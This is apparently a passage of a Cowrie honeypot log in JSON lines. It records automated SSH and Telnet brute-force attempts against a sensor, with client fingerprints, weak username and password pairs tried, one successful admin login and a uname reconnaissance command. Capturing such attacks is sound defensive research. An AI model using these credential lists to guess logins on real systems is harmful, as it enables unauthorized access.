{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57560,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c821ae96f6","protocol":"ssh","message":"New connection: 176.65.132.129:57560 (159.203.135.109:22) [session: 55c821ae96f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:02.886513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:02.892079Z","src_ip":"176.65.132.129","session":"55c821ae96f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:02.975465Z","src_ip":"176.65.132.129","session":"55c821ae96f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:03.230546Z","src_ip":"176.65.132.129","session":"55c821ae96f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:04.433241Z","src_ip":"176.65.132.129","session":"55c821ae96f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.494667768478394,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:05.203413Z","src_ip":"45.58.127.90","session":"2fc3de338adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52362,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde10ff704af","protocol":"ssh","message":"New connection: 176.65.132.129:52362 (159.203.135.109:22) [session: fde10ff704af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:06.146903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:06.151606Z","src_ip":"176.65.132.129","session":"fde10ff704af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:06.234094Z","src_ip":"176.65.132.129","session":"fde10ff704af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:06.480722Z","src_ip":"176.65.132.129","session":"fde10ff704af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:07.582492Z","src_ip":"176.65.132.129","session":"fde10ff704af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52368,"dst_ip":"159.203.135.109","dst_port":22,"session":"703574030f80","protocol":"ssh","message":"New connection: 176.65.132.129:52368 (159.203.135.109:22) [session: 703574030f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:09.601979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:09.607105Z","src_ip":"176.65.132.129","session":"703574030f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:09.689318Z","src_ip":"176.65.132.129","session":"703574030f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:09.939558Z","src_ip":"176.65.132.129","session":"703574030f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.73443007469177,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:10.042322Z","src_ip":"45.58.127.90","session":"ff0219c1ca5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.46821880340576,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:10.074611Z","src_ip":"45.58.127.90","session":"90e9c68b851d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52696,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e858587b1ff","protocol":"ssh","message":"New connection: 172.237.20.62:52696 (159.203.135.109:22) [session: 0e858587b1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:10.822350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:10.827581Z","src_ip":"172.237.20.62","session":"0e858587b1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:10.982475Z","src_ip":"172.237.20.62","session":"0e858587b1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:11.024579Z","src_ip":"176.65.132.129","session":"703574030f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:11.611170Z","src_ip":"172.237.20.62","session":"0e858587b1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:12.779644Z","src_ip":"172.237.20.62","session":"0e858587b1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52384,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaa4ce4737d3","protocol":"ssh","message":"New connection: 176.65.132.129:52384 (159.203.135.109:22) [session: eaa4ce4737d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:12.873557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:12.878230Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:12.960624Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:13.273921Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:13.482795Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:13.486024Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:13.571111Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:13.576580Z","src_ip":"176.65.132.129","session":"eaa4ce4737d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55598,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb4ffce9ce7","protocol":"ssh","message":"New connection: 176.65.132.129:55598 (159.203.135.109:22) [session: ccb4ffce9ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:16.114359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:16.121164Z","src_ip":"176.65.132.129","session":"ccb4ffce9ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:16.203721Z","src_ip":"176.65.132.129","session":"ccb4ffce9ce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:16.450746Z","src_ip":"176.65.132.129","session":"ccb4ffce9ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:17.547716Z","src_ip":"176.65.132.129","session":"ccb4ffce9ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58698,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a56e6bd156","protocol":"telnet","message":"New connection: 45.58.127.90:58698 (10.17.0.5:23) [session: e1a56e6bd156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:17.697584Z"}
{"eventid":"cowrie.session.closed","duration":38.75023937225342,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:17.939402Z","src_ip":"45.58.127.90","session":"a7523542c49a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55608,"dst_ip":"159.203.135.109","dst_port":22,"session":"6616aea8effc","protocol":"ssh","message":"New connection: 176.65.132.129:55608 (159.203.135.109:22) [session: 6616aea8effc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:19.360610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:19.365416Z","src_ip":"176.65.132.129","session":"6616aea8effc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:19.448919Z","src_ip":"176.65.132.129","session":"6616aea8effc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:19.704440Z","src_ip":"176.65.132.129","session":"6616aea8effc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:20.790060Z","src_ip":"176.65.132.129","session":"6616aea8effc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53654,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae0c6898b41","protocol":"ssh","message":"New connection: 172.237.20.62:53654 (159.203.135.109:22) [session: 5ae0c6898b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:21.595139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:21.600440Z","src_ip":"172.237.20.62","session":"5ae0c6898b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hma